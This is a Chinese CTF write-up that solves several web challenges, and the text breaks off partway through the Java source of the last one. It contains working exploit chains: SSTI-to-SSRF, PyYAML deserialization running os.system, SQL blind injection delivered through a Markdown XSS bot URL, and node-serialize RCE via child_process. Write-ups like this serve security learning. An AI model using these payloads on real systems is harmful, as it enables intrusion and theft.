跟 Nu1L 的 crane 师傅一起做的 Web 题, 最后队伍取得了第七名的成绩, 师傅们太强了
记录一下我这边的 Writeup, 标 * 的表示比赛当时没做出来, 赛后复现的题目
Table of contents
Open Table of contents
gtb
题目是一个银行, 可以借钱还钱转账, 然后还可以创建笔记和上传特定格式的文件
解这道题需要多个漏洞点组合利用
首先 logout 路由存在开放重定向
bank/controllers/auth.go
func LogoutHandler(c *fiber.Ctx) error {
session, err := sessions.RSS.Get(c)
if err != nil {
return c.Status(http.StatusInternalServerError).SendString("Internal Server Error")
}
session.Destroy()
if err := session.Save(); err != nil {
return c.Status(http.StatusInternalServerError).SendString("Internal Server Error")
}
redirectTo := c.Query("redirect_to", "/login")
return c.Redirect(redirectTo)
}
payload
http://127.0.0.1:3000/logout?redirect_to=https://www.google.com/
其次是 SSTI
bank/controllers/transactions.go
func ViewSpecificTransactionsInfo(c *fiber.Ctx) error {
transaction_id, err := c.ParamsInt("id", 0)
forWhom := c.Query("for", "")
if err != nil {
return c.Status(http.StatusBadRequest).SendString("Invalid transaction id")
}
if transaction_id == 0 {
return c.Status(http.StatusBadRequest).SendString("Invalid transaction id")
}
s, err := sessions.RSS.Get(c)
if err != nil {
return c.Status(http.StatusInternalServerError).SendString("Internal Server Error")
}
accountId, ok := s.Get("account_id").(uint)
if !ok {
return c.Status(http.StatusInternalServerError).SendString("Internal Server Error")
}
uid := uint(accountId)
var transaction models.Transaction
err = models.FindUserTransaction(&transaction, uint(transaction_id), uid, "DESC")
if err != nil {
return c.Status(http.StatusInternalServerError).SendString("Internal Server Error")
}
tmpl, err := template.New("").Parse(
"Transaction ID: {{.ID}}| Amount: {{.Amount}}| Description: {{.Description}}| Type: {{.Type}}| Account ID: {{.AccountID}}| Created At: {{.CreatedAt}}|From:" + forWhom,
)
if err != nil {
fmt.Println(err)
return c.Status(http.StatusInternalServerError).SendString("Internal Server Error")
}
var tpl bytes.Buffer
if err := tmpl.Execute(&tpl, &transaction); err != nil {
}
res := tpl.String()
config.CustomLogger.Log(res)
return c.Render("transaction", fiber.Map{
"transaction": transaction,
})
}
forWhom 也就是通过 GET 传递的参数 for, 直接被传入了模版本身, 存在 SSTI
在这里 SSTI 可以调用 Transaction 结构体的某些方法 (必须仅包含一个 string 类型的参数)
这里我找到了 DoesPartyExist 方法, 可以进一步造成 SSRF
bank/models/Transaction.go
func (t *Transaction) DoesPartyExist(desc string) bool {
parts := strings.Split(desc, "|")
transferURL, err := url.Parse(parts[0][3:])
if err != nil {
return false
}
isLocal := strings.HasPrefix(transferURL.Host, "127.0.0.1:3000") && strings.HasPrefix(transferURL.Path, "/user/")
if !isLocal {
return false
}
transferURL.Path = path.Clean(transferURL.Path)
client := &http.Client{}
req, err := http.NewRequest("GET", transferURL.String(), nil)
if err != nil {
return false
}
resp, err := client.Do(req)
if err != nil {
return false
}
defer resp.Body.Close()
return resp.StatusCode != http.StatusNotFound
}
通过 /user/../logout 绕过 path prefix 检查
/transactions/view/dev/2?for={{.DoesPartyExist "TO:http://127.0.0.1:3000/user/../logout?redirect_to=http://127.0.0.1:4444/|123"}}
到目前为止, 我们找到了开放重定向, SSTI 以及 SSRF
然后接下来去看看如何找到最终能够 RCE 或者 get flag 的 sink 点
题目的 accountant/job.py 使用了低版本的 PyYAML (5.1.2), 可以 RCE
exp: !!python/object/apply:os.system ["whoami"]
accountant/job.py
#!/usr/bin/env python3
import datetime
import os
import requests
import signal
from yaml import *
signal.alarm(20)
def verify_records(s):
return "[+] I'm done, let me go home\n" + s
pw = "SUPER_DUPER_SECRET_STRING_HERE"
auth_data = {"username": "MisterX", "password": pw}
print("[+] Let me get into my office")
sess = requests.Session()
resp = sess.post(
"http://localhost:3000/login",
data={"username": "MisterX", "password": pw},
headers={"Content-Type": "application/x-www-form-urlencoded"},
allow_redirects=False,
)
# sess.cookies.set("session_id", resp.cookies.get("session_id"))
print("[+] Verifying old records, I am shocking with dust, Damn there are rats too !")
resp = sess.get("http://localhost:3000/transactions/report/info/all")
print(resp.text)
if len(resp.text) != 0:
print("[-] I am not happy, I am not going to work today")
reports = resp.text.split("|")
for report in reports:
try:
report_id = report.split(":")[0]
user_id = report.split(":")[1]
print("[+] Interesting record here, ")
res = sess.get(
"http://localhost:3000/transactions/report/gen/"
+ report_id
+ "?user_id="
+ user_id
)
if res.status_code == 200:
loaded_yaml = load(res.text, Loader=Loader)
print(verify_records(loaded_yaml))
except:
print("[-] ~#! !!!! Oo $h/t the rats are eating the old records")
resp = sess.get("http://localhost:3000/users")
print("[+] Got new reports for today hope not, let me do my work you shorty!")
print(resp.json())
for user in resp.json():
try:
resp = sess.get(
"http://localhost:3000/transactions/report/gen/1?user_id=" + str(user["ID"])
)
except:
print("[+] a bit more ...")
print(f"[{datetime.datetime.now()}] Accountant will be back soon.")
脚本首先会以 accountant role 的身份登录网站, 然后访问 /transactions/report/info/all 拿到 user_id 和 report_id
然后尝试访问 /transactions/report/gen/<report_id>?user_id=<user_id> 以生成一个 transactions report
之后拿到 report 内容并调用 load(res.text, Loader=Loader), 这里使用了默认的 PyYAML.Loader 对 YAML 格式的 report 进行反序列化
最后会枚举所有用户并访问 /transactions/report/gen/1?user_id=<user_id> 并尝试为每个用户生成一个 report (此时 report_id 为 1)
先看看生成 report 的过程
bank/controllers/transactions.go
// /report/gen/:id
func GetReport(c *fiber.Ctx) error {
report_id := c.Params("id", "")
user_id := c.QueryInt("user_id", 0)
if report_id == "" {
return c.Status(http.StatusBadRequest).SendString("Invalid Id value")
}
report, _ := models.VerifyReportInCache(report_id)
if report != "" {
return c.SendString(report)
}
if user_id == 0 {
return c.Status(http.StatusBadRequest).SendString("Invalid user id")
}
report, err := models.GenerateReport(uint(user_id))
if err != nil {
fmt.Println("[+] Error generating report, ", err)
return c.Status(http.StatusInternalServerError).SendString("Internal Server Error: Error generating report")
}
report_id = utils.HashStringToSha256(report)
_ = models.SaveReportInCache(report_id, report)
if !slices.Contains(cachedKeys, report_id+":"+strconv.Itoa(user_id)) {
cachedKeys = append(cachedKeys, report_id+":"+strconv.Itoa(user_id))
}
c.Response().Header.Set("Content-Type", "text/yaml")
return c.SendString(report)
}
GetReport 方法会先从 Redis 中取出 report, 如果没有的话就会调用 models.GenerateReport 生成 report, 并且以其内容进行 SHA256 得到一个 report_id, 最后将其保存至 Redis
GenerateReport 方法
func GenerateReport(userID uint) (string, error) {
latestTransactions, err := GetLatestUserTransactions(userID)
fmt.Println(latestTransactions)
if err != nil {
return "", err
}
if len(latestTransactions) == 0 {
return "", errors.New("No transactions found")
}
if len(latestTransactions) < 10 {
return "", errors.New("Not enough transactions to generate report")
}
var report string
descArray := []TransactionDescription{}
for _, transaction := range latestTransactions {
desc, err := transaction.GetTransactionDescription()
if err != nil {
return "", err
}
descArray = append(descArray, desc)
}
report, err = DumpTransactionDescriptionsToYaml(descArray)
return report, err
}
只有当交易数大于等于 10 时, report 才能够被生成
方法最终会调用 DumpTransactionDescriptionsToYaml 将 descArray 序列化为 YAML 格式
然后这里我们得注意一个点: 我们不能够在序列化之前构造一个 RCE payload, 因为程序在反序列化后会将 !!!xxx 这种形式的内容作为一个字符串, 而不是类型转换语法
所以得找到其它地方存入 YAML payload 实现 RCE
在上面的分析中, GetReport 方法首先会尝试从 Redis 中取出 report, 这里我找到了另外一个地方, 可以将自定义数据写入 Redis (key 和 value 均可控)
bank/controllers/user.go
// /financial-note/view/:title
func ViewFinancialNote(c *fiber.Ctx) error {
title := c.Params("title")
var financialNote models.FinanceNote
if len(title) < 4 {
return c.Status(http.StatusBadRequest).SendString("Note must be at least 4 character and same for its title.")
}
res, err := config.Cache.Get(title)
if err != nil && res != "" {
financialNote.Title = title
financialNote.Note = res
return c.Render("financial_note", financialNote)
}
s, err := sessions.RSS.Get(c)
if err != nil {
fmt.Println(err)
return c.Status(http.StatusInternalServerError).SendString("Internal Server Error")
}
userId, ok := s.Get("user_id").(uint)
if !ok {
fmt.Println(err, userId)
}
if err := models.GetUserNoteByTitle(&financialNote, title); err != nil {
return c.SendStatus(http.StatusNotFound)
}
if err := config.Cache.Set(title, financialNote.Note); err != nil {
fmt.Println(err)
return c.SendStatus(http.StatusInternalServerError)
}
return c.Render("financial_note", financialNote)
}
不过这个路由仅允许本地访问, 但是我们之前已经找到了一个 SSRF, 所以只需要构造这种 payload 即可
/transactions/view/dev/2?for={{.DoesPartyExist "TO:http://127.0.0.1:3000/user/../logout?redirect_to=http://127.0.0.1:4444/|123"}}
后面只需要先创建一个 note, 然后用这个 SSRF 去访问 note, 使得 note 被写入 Redis, 之后让 GetReport 方法从 Redis 中获取这个 note 的内容, 再让 accountant 反序列化, 即可实现 RCE
然后还有另外一个点需要注意: 我们需要构造正确的 report_id, 因为 note title (同时也是 Redis key) 必须不少于 4 个字符
acccountant 脚本只会从 /transactions/report/info/all 中获取 report_id, 或者以 1 作为 report_id, 然后生成 report
bank/controllers/transactions.go
// /report/info/all
func GetReportsKeys(c *fiber.Ctx) error {
return c.SendString(strings.Join(cachedKeys, "|"))
}
cachedKeys 是一个全局 map, 存放了先前所有的 report_id 和 user_id
GetReport 方法
if !slices.Contains(cachedKeys, report_id+":"+strconv.Itoa(user_id)) {
cachedKeys = append(cachedKeys, report_id+":"+strconv.Itoa(user_id))
}
这里需要将我们的 report_id 存入 cacheKey, 这样 accountant 脚本才能够获取到我们自定义的 report 内容
虽然只有 GetReport 对 cacheKeys 有写入操作, 但是很容易注意到写入的 Redis cache 会在 30s 后过期
bank/config/redis.go
func (r RedisConnection) Set(key string, value string) error {
return r.client.Set(r.client.Context(), key, value, 30*time.Second).Err()
}
所以我们可以重用之前的 report_id (已经被存入了 cacheKeys map), 然后利用这个 report_id 向 Redis 中写入 RCE payload
exp
import requests
from urllib.parse import quote
import time
import hashlib
import re
# url = 'http://a91ea859f3ba8f8e2524a.playat.flagyard.com'
url = 'http://127.0.0.1:3000'
report = '''- sender: ""
username: ""
balance_before: 9
balance_after: 10
description: depositREPLACE
transaction_details:
from: go-get-it
result: success
- sender: ""
username: ""
balance_before: 8
balance_after: 9
description: depositREPLACE
transaction_details:
from: go-get-it
result: success
- sender: ""
username: ""
balance_before: 7
balance_after: 8
description: depositREPLACE
transaction_details:
from: go-get-it
result: success
- sender: ""
username: ""
balance_before: 6
balance_after: 7
description: depositREPLACE
transaction_details:
from: go-get-it
result: success
- sender: ""
username: ""
balance_before: 5
balance_after: 6
description: depositREPLACE
transaction_details:
from: go-get-it
result: success
- sender: ""
username: ""
balance_before: 4
balance_after: 5
description: depositREPLACE
transaction_details:
from: go-get-it
result: success
- sender: ""
username: ""
balance_before: 3
balance_after: 4
description: depositREPLACE
transaction_details:
from: go-get-it
result: success
- sender: ""
username: ""
balance_before: 2
balance_after: 3
description: depositREPLACE
transaction_details:
from: go-get-it
result: success
- sender: ""
username: ""
balance_before: 1
balance_after: 2
description: depositREPLACE
transaction_details:
from: go-get-it
result: success
- sender: ""
username: ""
balance_before: 0
balance_after: 1
description: depositREPLACE
transaction_details:
from: go-get-it
result: success
'''
s = requests.Session()
print('register')
s.post(url + "/register", data={"username": "test1234", "password": 'test1234'})
print('login')
s.post(url + "/login", data={"username": "test1234", "password": 'test1234'})
print('trasactions')
for _ in range(10):
print('deposit')
s.post(url + '/account', data={
'operation': 'deposit',
'to': '3',
'amount': '1'
})
print('find report_id')
res = s.get(url + '/account')
created_at = re.findall(r"deposit\|(\d\d\d\d-\d\d-\d\d \d\d\:\d\d)", res.text)[0]
report = report.replace('REPLACE', created_at)
report_id = hashlib.sha256(report.encode()).hexdigest()
print('add note')
s.post(url + '/user/financial-note/new', data={
'title': report_id,
'note': 'exp: !!python/object/apply:os.system ["cat /* > /app/static/flag.txt"]'
})
while True:
print('write note to redis')
payload = quote(r'{{.DoesPartyExist "TO:http://127.0.0.1:3000/user/../logout?redirect_to=http://127.0.0.1:3000/financial-note/view/' + report_id + '|123"}}')
res = s.get(url + '/transactions/view/dev/2?for=' + payload)
time.sleep(1)
访问 /static/flag.txt 得到 flag
这里比较蛋疼的是得注意交易时间, 必须和题目服务器上的完全一致, 然后 YAML 是倒序的 (最新的交易在最前面)
way2easy
xsleaks 题
handlers/master_key.go
func SecretDoor(c echo.Context) error {
master_key := c.FormValue("master_key")
if master_key != "" && !utils.IsBlacklisted(master_key) {
var id string
err := utils.Db.QueryRow(fmt.Sprintf("SELECT id FROM masterKeys WHERE master_key = '%s'", master_key)).Scan(&id)
if err != nil {
if err == sql.ErrNoRows {
return echo.ErrBadRequest
}
return echo.ErrInternalServerError
}
}
return c.NoContent(200)
}
SQLite 盲注, flag 在 masterkeys 表中
IsBlacklisted 函数
func IsBlacklisted(input string) bool {
blacklist := []string{
"--", ";", "/*", "*/", "@@", "@", "char", "nchar", "varchar", "nvarchar",
"alter", "begin", "cast", "create", "cursor", "declare", "delete", "drop", "end",
"exec", "execute", "fetch", "insert", "kill", "open", "select", "sys", "sysobjects", "union",
"syscolumns", "table", "update",
}
for _, keyword := range blacklist {
if strings.Contains(strings.ToLower(input), keyword) {
return true
}
}
return false
}
很容易就可以绕过
master_key=1' or master_key like 'flag{%
/secret-note 路由前端存在 Markdown XSS
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Note Display</title>
<!-- Include pico.css -->
<link rel="stylesheet" href="/static/pico.css">
</head>
<body>
<div class="container">
<h1>Your Note:</h1>
<div id="noteOutput"></div>
</div>
<script src="/static/main.js"></script>
<script>
init()
</script>
<!-- Include DOMPurify for sanitizing -->
<script type="text/javascript" src="/static/purify.min.js"></script>
</body>
</html>
/static/main.js
function getQueryParam(name) {
const urlParams = new URLSearchParams(window.location.search);
return urlParams.get(name);
}
function simpleMarkdownToHTML(md) {
let html = md;
// Convert headers
html = html.replace(/^# (.*$)/gim, '<h1>$1</h1>');
html = html.replace(/^## (.*$)/gim, '<h2>$1</h2>');
html = html.replace(/^### (.*$)/gim, '<h3>$1</h3>');
html = html.replace(/^#### (.*$)/gim, '<h4>$1</h4>');
// Convert images
html = html.replace(/!\[(.*?)\]\((.*?)\)/gim, '<img src="$2" alt="$1">');
// Convert links
html = html.replace(/\[(.*?)\]\((.*?)\)/gim, '<a href="$2">$1</a>');
// Convert bold text
html = html.replace(/\*\*(.*?)\*\*/gim, '<b>$1</b>');
html = html.replace(/__(.*?)__/gim, '<b>$1</b>');
// Convert italic text
html = html.replace(/\*(.*?)\*/gim, '<i>$1</i>');
html = html.replace(/_(.*?)_/gim, '<i>$1</i>');
// Convert blockquotes
html = html.replace(/^> (.*$)/gim, '<blockquote>$1</blockquote>');
return html;
}
function init() {
document.addEventListener("DOMContentLoaded", function () {
let note = getQueryParam('note');
if (note) {
if (typeof note === "string" && note.length > 150) {
note = "Here is a placeholder note as yours is so long "
}
else {
const currNote = atob(note)
const safeHTML = DOMPurify.sanitize(currNote);
note = simpleMarkdownToHTML(safeHTML);
}
} else {
console.warn('No note query parameter set.');
note = "Who Doesn't love cats"
}
document.getElementById('noteOutput').innerHTML = note;
});
}
虽然用了 DOMPurify, 但其实还是可以用 Markdown 语法构造 XSS

note 参数有长度限制, 不过可以从另一个 GET 参数中拿数据然后 eval

bot 不通外网, 得用 /keeper 路由外带 flag
handlers/keeper.go
func HandleKeeper(c echo.Context) error {
// Get the payload from the POST form data
payload := c.FormValue("payload")
// Insert the payload into the vault table
_, err := utils.Db.Exec("INSERT INTO vault (payload) VALUES (?)", payload)
if err != nil {
return echo.NewHTTPError(http.StatusInternalServerError, "Failed to save payload")
}
return c.String(http.StatusOK, "Payload saved successfully!")
}
func ViewKeeper(c echo.Context) error {
var payloads []string
rows, err := utils.Db.Query("SELECT payload FROM vault")
if err != nil {
fmt.Println(err)
return echo.NewHTTPError(http.StatusInternalServerError, "Restart instance")
}
defer rows.Close()
for rows.Next() {
var x string
if err := rows.Scan(&x); err != nil {
return echo.NewHTTPError(http.StatusInternalServerError, "Restart instance")
}
payloads = append(payloads, x)
}
if err := rows.Err(); err != nil {
panic(err)
}
return c.String(200, strings.Join(payloads, "-------------------\n"))
}
最终 payload
(async function() {
let flag = 'flag{';
let dicts='{}-0123456789abcdefghijklmnopqrstuvwxyz_'
while (true) {
for (let i = 0; i < dicts.length; i++) {
let res = await fetch("/secret-door", {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: "master_key=1' or master_key like '" + flag + dicts[i] + "%25"
})
if (res.status == 200) {
console.log(res.status)
flag += dicts[i]
console.log(flag)
if (dicts[i] == '}') {
fetch("/keeper", {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: "payload=" + flag
})
return
}
break
}
}
}
})()
bot url
http://localhost:3000/secret-note?note=IVsiIG9uZXJyb3I9InU9bmV3IFVSTFNlYXJjaFBhcmFtcyh3aW5kb3cubG9jYXRpb24uc2VhcmNoKTtldmFsKGF0b2IodS5nZXQoJ3gnKSkpXSgwKQ==&x=KGFzeW5jIGZ1bmN0aW9uKCkgewogICAgbGV0IGZsYWcgPSAnQkhGbGFnWXsnOwogICAgbGV0IGRpY3RzPSd7fS0wMTIzNDU2Nzg5YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXpfJwogICAgd2hpbGUgKHRydWUpIHsKICAgICAgICBmb3IgKGxldCBpID0gMDsgaSA8IGRpY3RzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIGxldCByZXMgPSBhd2FpdCBmZXRjaCgiL3NlY3JldC1kb29yIiwgewogICAgICAgICAgICAgICAgbWV0aG9kOiAiUE9TVCIsCiAgICAgICAgICAgICAgICBoZWFkZXJzOiB7CiAgICAgICAgICAgICAgICAgICAgIkNvbnRlbnQtVHlwZSI6ICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiCiAgICAgICAgICAgICAgICB9LAogICAgICAgICAgICAgICAgYm9keTogIm1hc3Rlcl9rZXk9MScgb3IgbWFzdGVyX2tleSBsaWtlICciICsgZmxhZyArIGRpY3RzW2ldICsgIiUyNSIKICAgICAgICAgICAgfSkKICAgICAgICAgICAgaWYgKHJlcy5zdGF0dXMgPT0gMjAwKSB7CiAgICAgICAgICAgICAgICBjb25zb2xlLmxvZyhyZXMuc3RhdHVzKQogICAgICAgICAgICAgICAgZmxhZyArPSBkaWN0c1tpXQogICAgICAgICAgICAgICAgY29uc29sZS5sb2coZmxhZykKICAgICAgICAgICAgICAgIGlmIChkaWN0c1tpXSA9PSAnfScpIHsKICAgICAgICAgICAgICAgICAgICBmZXRjaCgiL2tlZXBlciIsIHsKICAgICAgICAgICAgICAgICAgICAgICAgbWV0aG9kOiAiUE9TVCIsCiAgICAgICAgICAgICAgICAgICAgICAgIGhlYWRlcnM6IHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJDb250ZW50LVR5cGUiOiAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIgogICAgICAgICAgICAgICAgICAgICAgICB9LAogICAgICAgICAgICAgICAgICAgICAgICBib2R5OiAicGF5bG9hZD0iICsgZmxhZwogICAgICAgICAgICAgICAgICAgIH0pCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQp9KSgp
等一会然后访问 /keeper 拿到 flag
Russian Dolls
node-serialize 的漏洞, 挺简单的题
index.js
fastify.get("/", { preHandler: isLoggedIn }, async (req, reply) => {
let notes = [];
if (req.cookies.notes) {
const { valid, value } = req.unsignCookie(req.cookies.notes);
if (!valid) {
reply.clearCookie("notes");
return reply.code(400).send({ error: { message: "Something is wrong" } });
}
const decodedCookie = Buffer.from(value, "base64");
notes = global.serializer.fromBuffer(decodedCookie).map((x) => {
new WAF(objSerializer, x);
return objSerializer.unserialize(x);
});
}
const { value } = req.unsignCookie(req.cookies.username);
return reply.view("templates/index.ejs", {
user: { username: value },
notes,
});
});
fastify.post("/", { preHandler: isLoggedIn }, async (req, reply) => {
try {
new WAF(objSerializer, req.body.note);
} catch (e) {
return reply.code(400).send(e);
}
if (req.body.note) {
if (req.cookies.notes) {
const { valid, value } = req.unsignCookie(req.cookies.notes);
if (valid) {
const decodedBuffer = Buffer.from(value, "base64");
const notes = global.serializer.fromBuffer(decodedBuffer);
notes.push(objSerializer.serialize(req.body.note));
const serializedNotes = global.serializer.toBuffer(notes);
reply.cookie("notes", serializedNotes.toString("base64"), {
signed: true,
httpOnly: true,
secure: false,
});
} else {
reply.clearCookie("notes");
}
} else {
const serializedNote = objSerializer.serialize(req.body.note);
reply.cookie(
"notes",
global.serializer.toBuffer([serializedNote]).toString("base64"),
{
signed: true,
httpOnly: true,
secure: false,
}
);
}
return reply.send({
success: true,
});
}
return reply.code(400).send({
error: {
message: "Bad note",
},
});
});
utils.js
const blacklist = [
"atob",
"btoa",
"process",
"exec",
"Function",
"require",
"module",
"global",
"console",
"+",
"-",
"*",
"/",
"===",
"<",
">=",
"<=",
"&&",
"||",
"new",
"users",
"[",
"]",
"Array",
"constructor",
"__proto__",
"prototype",
"hasOwnProperty",
"valueOf",
"toString",
"charCodeAt",
"fromCharCode",
"string",
"slice",
"split",
"join",
"substr",
"substring",
"RegExp",
"test",
"match",
"db",
"Buffer",
"setTimeout",
"setInterval",
"setImmediate",
"Promise",
"async",
"await",
"throw",
"catch",
];
class Waf {
constructor(serializer, any) {
let value = any;
if (typeof any === "object") {
value = serializer.serialize(any);
}
if (value.length > 130) {
throw new Error({
message: "too long, no DDOS",
});
}
for (let i = 0; i < blacklist.length; i++) {
if (value.includes(blacklist[i])) {
console.log(blacklist[i]);
throw new Error({
message: "not safe",
});
}
}
const result = vm.runInContext(
` serializer.unserialize(value); `,
vm.createContext({ value, serializer }),
{ timeout: 1000 }
);
if (
(typeof result === "string" ||
(typeof result === "object" && result instanceof Array)) &&
result.includes(process.env.FLAG)
) {
throw new Error({
message: "nice try",
});
}
}
}
简单发包即可
第一个包
POST / HTTP/1.1
Host: 127.0.0.1:3000
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:3000/register
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: username=test.iM0hCLU0fZc885zfkFPX3UJwSHbYyam9ji0WglnT3fc;
Connection: close
Content-Type: application/json
Content-Length: 138
{
"note":{
"x":"_$$ND_FUNC$$_function({eval(\"re\".concat(\"quire('child_pr\").concat(\"ocess').exe\").concat(\"c('env>a')\"))}()"
}
}
第二个包
POST / HTTP/1.1
Host: 127.0.0.1:3000
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:3000/register
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: username=test.iM0hCLU0fZc885zfkFPX3UJwSHbYyam9ji0WglnT3fc;
Connection: close
Content-Type: application/json
Content-Length: 147
{
"note":{
"x":"_$$ND_FUNC$$_function(){eval(\"re\".concat(\"quire('child_pr\").concat(\"ocess').exe\").concat(\"c('mv a s\\u002A')\"))}()"
}
}
访问 /static/a 拿到 flag
cursedjava
考点是反序列化 + SSRF
controllers/UserController.java
@GetMapping("/flag")
public ResponseEntity<String> getFlag(
HttpServletRequest request) throws Exception {
String flag = "You need to subscribe to get the flag.";
String session = getSession(request);
User user = userService.getUserBySession(session);
if (user == null) {
return new ResponseEntity<>(flag, HttpStatus.OK);
}
if (user.getSubscribed()) {
flag = new Flag().getFlag();
}
return new ResponseEntity<>(flag, HttpStatus.OK);
}
需要 subscribe 才能拿到 flag
相关操作位于 /api/coupon/use/{id} 路由
@RequestMapping("/use/{id}")
public void create(
@Valid @PathVariable String id,
@RequestParam(value = "userId", defaultValue = "0") String userId,
HttpServletRequest request) throws Exception {
validateOrigin(request);
couponService.useCoupon(id, userId);
}
validateOrigin 方法限制只允许本地 IP 访问
private void validateOrigin(HttpServletRequest request) {
try {
InetAddress requestAddress = InetAddress.getByName(request.getRemoteAddr());
String uri = requestAddress.toString().split("/")[1];
boolean isLocalhost = uri.equals("127.0.0.1");
if (isLocalhost) {
return;
} else {
throw new Exception("Not allowed");
}
} catch (Exception e) {
System.out.println(e);
throw new RuntimeException(e);
}
}
couponService.useCoupon
public void useCoupon(String id, String userId) throws Exception {
User u = userService.getUserById(userId);
if (u == null) {
throw new Exception("User not found");
}
Coupon coupon = getCouponById(id);
if (coupon == null) {
throw new Exception("Coupon not found");
}
if (!coupon.getIsValid()) {
throw new Exception("Coupon is not valid");
}
u.setSubscribed(true);
userService.updateUser(u);
}
getSession
private String getSession(HttpServletRequest request) {
Cookie[] cookies = request.getCookies();
Cookie userCookie = null;
if (cookies != null) {
for (Cookie cookie : cookies) {
if (cookie.getName().equals("user")) {
userCookie = cookie;
break;
}
}
}
if (userCookie == null)
return null;
return userCookie.getValue();
}
getUserBySession, 存在反序列化
@Override
public User getUserBySession(String session) throws Exception {
if (session == null) {
return null;
}
try {
byte[] decodedBytes = Base64.getDecoder().decode(session.getBytes());
ByteArrayInputStream bis = new ByteArrayInputStream(decodedBytes);
ObjectInputStream ois = new Security(bis);
Object o = ois.readObject();
com.app.caching.User obj = (com.app.caching.User) o;
return getUserById(obj.getId());
} catch (Exception e) {
return null;
}
}
Security 重写了 ObjectInputStream
public class Security extends ObjectInputStream {
public Security(InputStream inputStream) throws IOException {
super(inputStream);
}
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!Pattern.matches("(com\\.app\\.(.*))|(java\\.time\\.(.*))", desc.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
注册的路由
@PostMapping("register")
public void register(
@Valid @RequestBody User user,
@RequestParam(value = "avatar", defaultValue = "ui-avatars.com") String avatarProvider) throws Exception {
try {
String avatar = userService.getAvatar(avatarProvider, user.getUsername());
user.setAvatar(avatar);
} catch (Exception e) {
}
userService.register(user);
}
getAvatar 可以 SSRF
@Override
public String getAvatar(String provider, String username) throws Exception {
String avatarUrl = "http://%s/api/%s";
avatarUrl = String.format(avatarUrl, provider, username);
try {
URL url = new URL(avatarUrl);
HttpURLConnection con = (HttpURLConnection) url.openConnection();
con.setRequestMethod("GET");
InputStream inputStream = con.getInputStream();
byte[] bytes = inputStream.readAllBytes();
byte[] encoded = Base64.getEncoder().encode(bytes);
String encodedString = new String(encoded);
if (encodedString.length() == 0)
return avatarUrl;
return encodedString;
} catch (Exception e) {
e.printStackTrace();
throw new Exception(e.getMessage());
}
}
refresh 路由也有反序列化
@PostMapping("refresh")
public void refresh(HttpServletRequest request) throws Exception {
Cookie[] cookies = request.getCookies();
Cookie userCookie = null;
for (Cookie cookie : cookies) {
if (cookie.getName().equals("user")) {
userCookie = cookie;
break;
}
}
userService.refresh(userCookie.getValue());
}
refresh 会把 user cookie 反序列化得到的对象 (必须是 Blueprint 或其子类) 存入 Redis
@Override
public void refresh(String session) throws Exception {
byte[] decodedBytes = Base64.getDecoder().decode(session.getBytes());
ByteArrayInputStream bis = new ByteArrayInputStream(decodedBytes);
ObjectInputStream ois = new Security(bis);
Object o = ois.readObject();
com.app.caching.Blueprint obj = (com.app.caching.Blueprint) o;
Cached cached = new Cached(
obj.getId().toString(),
o);
cachedService.save(cached);
}
大致就是这几个点, 然后再整个贴一下 User 和 Coupon 相关的 Controller 和 Service
UserController
package com.app.controllers;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.time.Duration;
import org.springframework.http.HttpHeaders;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseCookie;
import org.springframework.http.ResponseEntity;
import com.app.entities.User;
import com.app.services.UserService;
import com.app.utils.ExceptionHandlers;
import com.app.utils.Flag;
import jakarta.servlet.http.Cookie;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import jakarta.validation.Valid;
@RestController
@CrossOrigin(originPatterns = "*", allowCredentials = "true", allowedHeaders = "*", methods = {
RequestMethod.GET, RequestMethod.POST, RequestMethod.PUT, RequestMethod.DELETE, RequestMethod.OPTIONS })
@RequestMapping("/api/user")
